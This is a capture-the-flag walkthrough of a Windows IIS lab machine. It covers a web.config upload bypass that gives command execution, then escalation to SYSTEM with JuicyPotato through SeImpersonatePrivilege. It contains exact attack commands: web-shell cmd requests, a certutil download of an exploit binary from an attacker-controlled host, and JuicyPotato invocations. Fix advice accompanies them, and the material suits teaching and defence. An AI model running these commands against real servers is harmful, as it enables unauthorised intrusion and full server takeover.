← all walkthroughs

Bounty

Windows· Easy· Web
owned
2026-07-03
time to own
4m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a hidden file-upload page on the company's IIS web server, bypassed its extension filter by uploading a web.config file containing embedded server-side script code, and gained the ability to run any Windows command through that file. The web server's application account held a dangerous Windows privilege (SeImpersonatePrivilege) that allowed me to use a publicly available tool to impersonate the all-powerful SYSTEM account — giving them complete control of the server.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceService fingerprinting
Identified an IIS 7.5 web server on port 80
A port scan confirmed that only port 80 was reachable. The HTTP response headers revealed Microsoft IIS 7.5 running ASP.NET 2.0.50727 on what proved to be Windows Server 2008 R2 — an end-of-life OS that has received no security updates since January 2020 and is specifically targeted by several privilege-escalation exploit tools.
HTTP/1.1 200 OK … Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727
Exact commands 2
Full port scan with service-version detection.
nmap -sV -sC -p- --min-rate 5000 $TARGET
Read response headers to confirm IIS version and ASP.NET runtime.
curl -i http://$TARGET/
2EnumerationDirectory brute-force
Discovered a hidden file-upload page via directory brute-force
Web directory enumeration uncovered /transfer.aspx — a 'Secure File Transfer' upload form not linked from any visible page. The form uses ASP.NET anti-forgery tokens (VIEWSTATE and EVENTVALIDATION) that must be scraped from the live page before each upload attempt, preventing naive replay attacks.
Exact commands 2
Discover hidden pages; /transfer.aspx is the critical hit.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,asp,html,txt -t 40
Confirm the anti-forgery token field names before crafting the upload request.
curl -s http://$TARGET/transfer.aspx -o page.html && grep -i 'VIEWSTATE\|EVENTVALIDATION' page.html
3Initial accessUnrestricted File Upload / web.config ASP code injection (CWE-434)
Bypassed the upload extension filter by submitting a web.config file containing server-side script
The upload form blocked obviously dangerous extensions (.asp, .aspx) but permitted .config files. IIS 7.5's default handler configuration routes any request for a *.config file through the ASP.NET execution engine with script-execute permission — so classic ASP code embedded in an uploaded web.config runs the moment that file is requested over the web. I crafted a web.config stub that reads a 'cmd' URL parameter, passes it to the Windows command shell, and returns the output inside the HTTP response. After scraping the live VIEWSTATE and EVENTVALIDATION tokens from the form, the file was submitted as a normal multipart upload and landed in /uploadedfiles/.
Exact commands 2
Scrape live anti-forgery tokens — these expire quickly and must be refreshed before each upload.
curl -s http://$TARGET/transfer.aspx -o page.html
VS=$(perl -ne 'print "$1" if /name="__VIEWSTATE"[^>]*value="([^"]+)"/' page.html)
EV=$(perl -ne 'print "$1" if /name="__EVENTVALIDATION"[^>]*value="([^"]+)"/' page.html)
POST the crafted web.config (ASP RCE stub reading ?cmd=) as a multipart file upload. Expect a success message confirming the file was saved.
curl -s -X POST http://$TARGET/transfer.aspx \
  -F "__VIEWSTATE=$VS" \
  -F "__EVENTVALIDATION=$EV" \
  -F "btnUpload=Upload" \
  -F "FileUpload1=@web.config;type=application/octet-stream"
FixRemove script-execute permission from the upload directory and expand the extension denylistCritical
WeaknessThe file-upload page blocked common script extensions (.asp, .aspx) but allowed .config files. IIS 7.5's default handler maps *.config to the ASP.NET execution engine with script-execute permission, so any uploaded web.config containing classic ASP code becomes an immediately accessible remote-execution endpoint — turning the upload feature into a webshell delivery mechanism.
FixApply all three controls together: (1) Add .config (and .xml, .ashx, .asmx, .svc) to the IIS Request Filtering extension denylist so they cannot be uploaded at all. (2) Set the 'uploadedfiles' virtual directory's accessPolicy to 'Read' only — remove 'Script' and 'Execute' so that no file stored there, regardless of extension, can be run by the server. (3) Validate file content using server-side MIME-type inspection in addition to extension checks; reject anything that does not match the expected content type (e.g. images only). Ideally, serve user-uploaded files from a separate hostname with no IIS handler mappings at all.
4ExecutionServer-Side Code Execution via web.config ASP stub
Executed arbitrary Windows commands and captured the user flag
Every GET request to /uploadedfiles/web.config with a 'cmd' query parameter caused IIS to pass the value to cmd.exe and stream the output back. I confirmed the execution context (bounty\merlin — the IIS application pool identity), then read the user flag from the service account's Desktop.
Curl -sG '.../uploadedfiles/web.config' --data-urlencode 'cmd=type C:\Users\merlin\Desktop\user.txt' returned the flag value.
Exact commands 2
Verify execution context — expected output: bounty\merlin.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=whoami'
Read user flag — value captured, redacted here as <user.txt>.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=type C:\Users\merlin\Desktop\user.txt'
5Privilege enumerationPrivilege enumeration (SeImpersonatePrivilege discovery)
Confirmed the service account held SeImpersonatePrivilege
Running 'whoami /priv' through the web shell showed SeImpersonatePrivilege listed as Enabled. This Windows privilege — intended for legitimate COM server impersonation — allows any process to borrow the identity of a higher-privileged account that connects to it. On Windows Server 2008 R2, the JuicyPotato tool reliably exploits this to obtain a SYSTEM-level process, making it the decisive prerequisite for a full server takeover.
Exact commands 1
List token privileges — confirm SeImpersonatePrivilege is Enabled.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=whoami /priv'
FixStrip SeImpersonatePrivilege from the IIS application pool accountCritical
WeaknessThe IIS application pool ran under an account (merlin) that held SeImpersonatePrivilege in an Enabled state. On Windows Server 2008 R2 this privilege is sufficient for a JuicyPotato attack: any process that can impersonate Windows tokens can spawn a new process as NT AUTHORITY\SYSTEM, turning any web-application-level code execution into a complete server takeover with no additional vulnerabilities required.
FixConfigure every IIS application pool to use a built-in virtual account ('IIS AppPool\<PoolName>') rather than a named local or domain account. Virtual accounts are granted only the minimum rights IIS needs and do not hold SeImpersonatePrivilege by default. Enforce this through Group Policy under Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment: confirm that 'Impersonate a client after authentication' lists only LocalService, NetworkService, and Service — remove any application accounts. As a defence-in-depth measure, migrate the server to a supported Windows Server release (2019 or 2022) where the DCOM activation path exploited by JuicyPotato is restricted in the default configuration.
6StagingIngress tool transfer via certutil (Living-off-the-Land Binaries)
Transferred JuicyPotato onto the server using the built-in certutil utility
I served JuicyPotato.exe from an HTTP server on their own machine ($ATTACKER_IP:9000) and used certutil — a Windows binary installed by default since XP — to download it to C:\Windows\Temp. Certutil is commonly used as a download cradle because it is trusted, widely available, and frequently not blocked by older security policies.
Exact commands 3
Run on my machine ($ATTACKER_IP) to serve JuicyPotato.exe from a local directory.
python3 -m http.server 9000
Download JuicyPotato to a writable temp directory on the target.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/win/JuicyPotato.exe C:\Windows\Temp\jp.exe"
Verify the binary arrived and is the correct file size.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=dir C:\Windows\Temp\jp.exe'
7Privilege escalationToken Impersonation — JuicyPotato (SeImpersonatePrivilege abuse, T1134.001)
Escalated to SYSTEM using JuicyPotato and a valid COM class identifier for this build
JuicyPotato works by registering a fake COM server on a local port, tricking the Windows SYSTEM account into authenticating to it via DCOM, and then impersonating the resulting SYSTEM token to launch an arbitrary process. The attack requires a COM class identifier (CLSID) that exists on the specific Windows build; public lists of CLSIDs often do not match. Rather than guessing, I used JuicyPotato's '-z' enumeration flag to discover a valid CLSID for this exact 2008 R2 instance: {4991d34b-80a1-4291-83b6-3328366b9097}, confirmed to activate as NT AUTHORITY\SYSTEM. A second invocation with that CLSID ran a test command as SYSTEM, proving full control.
JuicyPotato -z output: {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
Exact commands 3
Enumerate a valid local CLSID for this build (-z flag). Output format: {CLSID};ACCOUNT.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t * -l 1340 -z'
Run whoami as SYSTEM using the discovered CLSID (-c). Replace CLSID if your enumeration returns a different one.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t t -l 1341 -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\proof.txt"'
Verify output reads 'nt authority\system' to confirm escalation.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=type C:\Windows\Temp\proof.txt'
8Full controlPost-exploitation privileged file access
Read the Administrator's flag as NT AUTHORITY\SYSTEM, completing the takeover
With SYSTEM-level command execution confirmed, I directed JuicyPotato to copy the Administrator's root flag from a protected Desktop folder — inaccessible to the merlin account — to the web-accessible uploads directory, then retrieved it over HTTP. At this point every file, process, credential store, and configuration secret on the server was readable and modifiable by me.
Exact commands 2
Run as SYSTEM: copy the root flag to the web-accessible uploads folder.
curl -sG "http://$TARGET/uploadedfiles/web.config" --data-urlencode 'cmd=C:\Windows\Temp\jp.exe -t t -l 1342 -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploadedfiles\r.txt"'
Retrieve the root flag over HTTP — value redacted here as <root.txt>.
curl -s http://$TARGET/uploadedfiles/r.txt

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more